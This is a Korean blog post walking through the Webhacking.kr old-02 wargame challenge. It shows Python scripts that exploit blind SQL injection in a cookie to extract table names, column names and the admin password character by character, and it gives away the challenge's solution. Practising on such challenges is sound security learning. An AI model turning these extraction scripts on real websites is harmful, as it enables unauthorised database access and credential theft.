요모조모 ʚɞ

[Webhacking.kr] old-02번 문제 풀이 본문

웹 해킹

[Webhacking.kr] old-02번 문제 풀이

Angela_OH 2020. 8. 16. 23:51

 

요즘 너무 바빠서 ㅠㅠ 진짜 오랜만에 블로그에 글을 쓰네여... ☆

7월부터 https://webhacking.kr에 있는 문제를 풀고 있습니당

아직 웹 해킹 입문자여서 ㅠ_ㅠ 10문제? 정도밖에 못 풀었지만,,

시간이 나면 차근차근 정리해보도록 하겠습니다 (‾◡◝) ........ㅎ

 

며칠 전에 blind SQL injection을 배워서,

그것과 관련된 문제들을 먼저 정리하도록 하겠습니당ㅎ

https://webhacking.kr/challenge/web-02/

 

https://webhacking.kr/challenge/web-02/

 

webhacking.kr

.

문제 페이지입니다!

/web-02

 

우선 문제를 보면 그냥 아무것도 없는,, 이런 화면이 나옵니다!

F12번을 눌러서 해당 페이지의 코드를 살펴보면,

 

 

다음과 같습니다.

admin.php로 가보라고 이런 식으로 힌트를 주네요 ㅎㅎ.. 

 

web-02/admin.php

 

admin.php 페이지를 살펴보니,

주어진 비밀번호를 맞추면 되는 문제인 것 같습니다! 

우선 코드를 좀 더 살펴보도록 하겠습니다.

 

 

이 페이지에는 별다른 힌트가 없네요ㅠㅠ

저는 이 부분에서 한참을 헤맸습니다,,

(인터넷에서 조금의 힌트를 얻었답니다^^ㅜ)

.

다시 각성하고(!) 첫 번째 페이지를 다시 살펴보면

 

/web-02

 

이런 식으로 쿠키에 time이라는 항목이 있다는 것을 알 수 있습니다!

다른 문제에는 time이라는 쿠키가 없었는데, 조금 이상하죠 ㅎㅅㅎ

F12번으로 이 페이지의 코드를 다시 살펴보면

 

/web-02

 

주석에 시간이 적힌 부분이 있습니다!

그래서 저는 time에 해당하는 부분을 조금 고쳐보았습니다.

 

select 1로 변조

 

쿠키를 select 1로 변조했을 때 시간에 해당하는 부분이 1로 바뀌었네요.

(사진 하단에 DevTools 참고 ★)

 

select 2로 변조

 

2를 넣어봐도 마찬가지입니다!

즉 time이라는 쿠키 값에 blind sql injection을 하여 값을 알아낼 수 있습니다.

.

저희가 찾아야 할 값은 해당 페이지의 비밀번호입니다!

이것을 구하기 위해서는 몇 단계의 과정을 거쳐야 합니다ㅠ

 

1. table_name 찾기

2. 1번에서 찾은 테이블 중 비밀번호가 들어있는 column_name 찾기

3. 2번에서 찾은 column 안에 들어 있는 내용(비밀번호) 찾기

 

그럼 이 3가지 단계에 걸쳐서 답을 찾아보도록 하겠습니다!

.

1. table_name 찾기

table이 몇 개인가?

 

1-1. table 개수 구하기

우선 table_name을 찾기에 앞서, 해당 페이지에서 db로 사용하고 있는 table이 몇 개인지를 먼저 살펴보았습니다.

시간을 살펴보니 총 2개가 있네요ㅠ

그럼 2개의 table_name을 모두 살펴보아야 합니다..

.

1-2. 각 table_name의 길이 구하기

01
table_name의 length 구하기

 

1번에서 찾은 table이 2개였기 때문에, 각 table_name을 알아내기 위해 길이를 구해보았습니다.

첫 번째 table_name은 13자, 두 번째 table_name은 3자였습니다!

.

1-3. table_name 구하기

우선 길이가 짧은 3글자 table_name부터 구해보았습니다.

012
table_name 구하기

각각 108 (60+48), 111 (60+51), 103 (60+43)을 나타냈습니다.

이것을 아스키 문자로 바꿔보면,

 

'log' 입니다.

이번에는 길이가 긴 table_name을 구해보도록 하겠습니다.

처음에는 위의 방식과 같이,, 하나하나 구해볼까 했는데

손이 너무 귀찮아서 그냥 python script로 만들어버렸습니다ㅜ...

import requests

# To calculate the value
def calculate_time(response):
	value=0
	value+=60*int(response.text[20])
	value+=10*int(response.text[22])
	value+=int(response.text[23])
	return value

url='https://webhacking.kr/challenge/web-02/'

cookies={
	"PHPSESSID": "pcm49knla2uhjiv679qtc0rk92"
}

# To find length of table_name
cookies['time']="(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)"
response=requests.get(url, cookies=cookies)
t_name_length=int(calculate_time(response))

# To find table_name
t_name=""
for a in range(1, t_name_length+1):
	cookies['time']="(select ascii(substring(table_name, {}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)".format(a)
	response=requests.get(url, cookies=cookies)
	t_name+=chr(calculate_time(response))

print(t_name)

 

calculate_time() 함수는 시간을 계산해서 문자로 만들어주는 함수입니다!

20이나 22, 23은 repsonse.text를 출력했을 때 시간에 해당하는 주석 부분의 index를 나타냅니다.

cookies라는 딕셔너리 안의 PHPSESSID는, 본인의 쿠키를 확인해보면 쉽게 구할 수 있습니다 !!

그리고 위와 같이 substring()을 사용하면 table_name을 한 글자 한 글자 찾을 수 있습니다.

참고로, substring()은 첫 번째 인자가 0이 아닌 1을 나타내니 유의해주세욥 :)

.

해당 파일을 실행해보면 table_name이 'admin_area_pw'라는 것을 알 수 있습니다.

뭔가 이름만 봐도 이 table을 살펴봐야 할 것 같죠? ㅎ..

.

2. 1번에서 찾은 테이블 중 비밀번호가 들어있는 column_name 찾기

이제 비밀번호가 들어있는 table을 구했으니, column도 구해보도록 하겠습니다!

column 개수 구하기

 

'admin_area_pw'라는 table에는 column이 1개밖에 없었습니다 ㅎㅎㅎ

그럼 좀 더 빠르게 column_name을 구할 수 있습니다.

# To find length of column_name
cookies['time']="(select length(column_name) from information_schema.columns where table_name='{}')".format(t_name)
response=requests.get(url, cookies=cookies)
c_name_length=int(calculate_time(response))

# To find column_name
c_name=""
for b in range(1, c_name_length+1):
	cookies['time']="(select ascii(substring(column_name, {}, 1)) from information_schema.columns where table_name='{}')".format(b, t_name)
	response=requests.get(url, cookies=cookies)
	c_name+=chr(calculate_time(response))
print(c_name)

 

아까 1번에서 사용했던 코드에 이어서 해당 script를 작성해주었습니다.

우선 column_name의 길이를 구해주고,

아까와 마찬가지로 substring()을 사용하여 column_name을 한 글자, 한 글자 찾았습니다.

해당 파일을 실행시켜보면 'pw'라는 column_name을 구할 수 있습니다!

.

3. 2번에서 찾은 column 안에 들어 있는 내용(비밀번호) 찾기

그럼 마지막으로 'admin_area_pw'라는 table 안의, 'pw' column 안의 내용을 읽어주면 해당 문제를 풀 수 있습니다!

blind injection만 아니었다면, 'select pw from admin_area_pw'로 비밀번호를 바로 구할 수 있지만 ㅜㅜ

저희는 또 한 글자, 한 글자 알아내 보도록 하겠습니다.

제가 작성한 script는 다음과 같습니다!

# To find length of password
cookies['time']="(select length({}) from {})".format(c_name, t_name)
response=requests.get(url, cookies=cookies)
pw_length=int(calculate_time(response))

# To find password
password=""
for c in range(1, pw_length+1):
	cookies['time']="(select ascii(substring({}, {}, 1)) from {})".format(c_name, c, t_name)	
	response=requests.get(url, cookies=cookies)
	password+=chr(calculate_time(response))
print(password)

 

이전과 마찬가지로 substring()을 통해 한 글자, 한 글자 구해주었습니다!

해당 파일을 실행해보면, 'kudos_to_beistlab'라는 값을 구할 수 있습니다!

이 값을 admin.php 페이지에 입력해주면 해당 문제가 풀립니다 :D

 

solved!

 

blind injection은 정말,, 귀찮은 것 같습니당 ㅎㅎㅎ

그래도 한 땀 한 땀 푸는 재미가 있네요 ..^^

앞으로 blind injection을 몇 문제 더 풀어보아야겠습니다 (✿◡‿◡)

 

Comments